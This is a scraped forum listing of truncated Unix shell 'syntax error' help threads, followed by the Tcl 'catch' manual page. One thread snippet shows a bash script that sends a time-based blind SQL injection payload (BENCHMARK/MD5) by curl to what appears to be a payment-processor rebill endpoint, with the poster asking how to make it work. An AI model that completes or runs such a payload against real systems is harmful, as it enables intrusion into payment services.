I'm getting the following error:
line 21: syntax error near unexpected token `done`
line 21: `done`
and I haven't been able to figure out why.
Here is my code
#!/bin/sh
if ; then
echo 'Usage: rename getexp/replStr '
exit 0
fi
arg = $1
shift
while ; do (5 Replies)
Hi,
I am running the following script through cygwin and getting below mentioned error.
*******************************************
#!/bin/sh
# constants
WORK_DIR="deploy"
INFOFILE="deploy.info"
INTROFILE="Intro.sh"
CMGMT_PKG="com.kintana.cmgmt.deploy"
DEPLOY_PREFIX="mitg"
... (2 Replies)
Hi all,
This is a script which converts hex to bin. However am finding an error while executing
syntax error near unexpected token `='
`($hexfile, $binfile) = @ARGV;'
I am running using ./fil.pl <hexfile> <binfile>
###################################################
#
# this script... (3 Replies)
What do I do here?
#!/bin/bash
payload=-1 AND 1=IF(21,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)#
hash=`echo -n $payload md5sum tr -d 'n' sed 'ss-sg' md5sum tr -d 'n' sed 'ss-sg'`
curl --data cs2=chronopay&cs1=$payload&cs3=$hash&transaction_type=rebill... (2 Replies)
Hi,
I am trying to read the session log through script. But it keeps showing me some error near. I have tried everything. Even tried converting the script using sed command to remove the hidden characters(\r).But nothing seems to be working.Below is the script :
#!/bin/bash
cd... (6 Replies)
I tried to execute the code but I got this error
./Array.c: line 9: syntax error near unexpected token '('
./Array.c: line 9: ' nvals = get_data(a,MAXARRAY);'
and
#include<stdio.h>
#define MAXARRAY 1000
main()
{
int a,
nvals;
nvals =... (7 Replies)
Hi all,
I have a simple script that doesn't work somehow. I can't seem to be spotting the cause of the malfunction.
count=$((1))
for item in `cat test1.txt`
printf %s `sed -n $((count))p test2.txt` > test3.txt
count=$((count+1))
do
something
done
I get ;
./why.sh: line 3:... (14 Replies)
I have 2 files like a.txt and b.txt and the content is as below
cat a.txt
810750125 117780 /BSCSQAT4A/bscsqat4a/lib/jar/wclt_common.jar
1803152428 13300 /BSCSQAT4A/bscsqat4a/lib/jar/WFMSSupportTool.jar
2663502779 67049 /BSCSQAT4A/bscsqat4a/lib/jar/wma.jar
687942896 665272... (1 Reply)
Dears,
While executing the below script im getting the error at line 30. Please let me know what changes to be done to fix this.
test.sh: line 30: syntax error near unexpected token `done'
test.sh: line 30: ` done '
#!/bin/sh
# Rev. PA1
# author: eillops
# date: 26-04-2018
#
#... (1 Reply)
detect_mouse_mvt.sh
/home/andy/bin/detect_mouse_mvt.sh: line 4: syntax error near unexpected token `('
/home/andy/bin/detect_mouse_mvt.sh: line 4: `fh = file('/dev/input/mice')'
#!/bin/bash
#
#
fh = file('/dev/input/mice')
while True:
fh.read(3)
print 'Mouse... (15 Replies)
Discussion started by: drew77
15 Replies
LEARN ABOUT REDHAT
catch
catch(n) Tcl Built-In Commands catch(n)
__________________________________________________________________________________________________________________________________________________NAME
catch - Evaluate script and trap exceptional returns
SYNOPSIS
catch script ?varName?
_________________________________________________________________DESCRIPTION
The catch command may be used to prevent errors from aborting command interpretation. Catch calls the Tcl interpreter recursively to exe-
cute script, and always returns without raising an error, regardless of any errors that might occur while executing script.
If script raises an error, catch will return a non-zero integer value corresponding to one of the exceptional return codes (see tcl.h for
the definitions of code values). If the varName argument is given, then the variable it names is set to the error message from interpret-
ing script.
If script does not raise an error, catch will return 0 (TCL_OK) and set the variable to the value returned from script.
Note that catch catches all exceptions, including those generated by break and continue as well as errors. The only errors that are not
caught are syntax errors found when the script is compiled. This is because the catch command only catches errors during runtime. When
the catch statement is compiled, the script is compiled as well and any syntax errors will generate a Tcl error.
EXAMPLES
The catch command may be used in an if to branch based on the success of a script.
if { [catch {open $someFile w} fid] } {
puts stderr "Could not open $someFile for writing
$fid"
exit 1
}
The catch command will not catch compiled syntax errors. The first time proc foo is called, the body will be compiled and a Tcl error will
be generated.
proc foo {} {
catch {expr {1 +- }}
}
KEYWORDS
catch, error
Tcl 8.0 catch(n)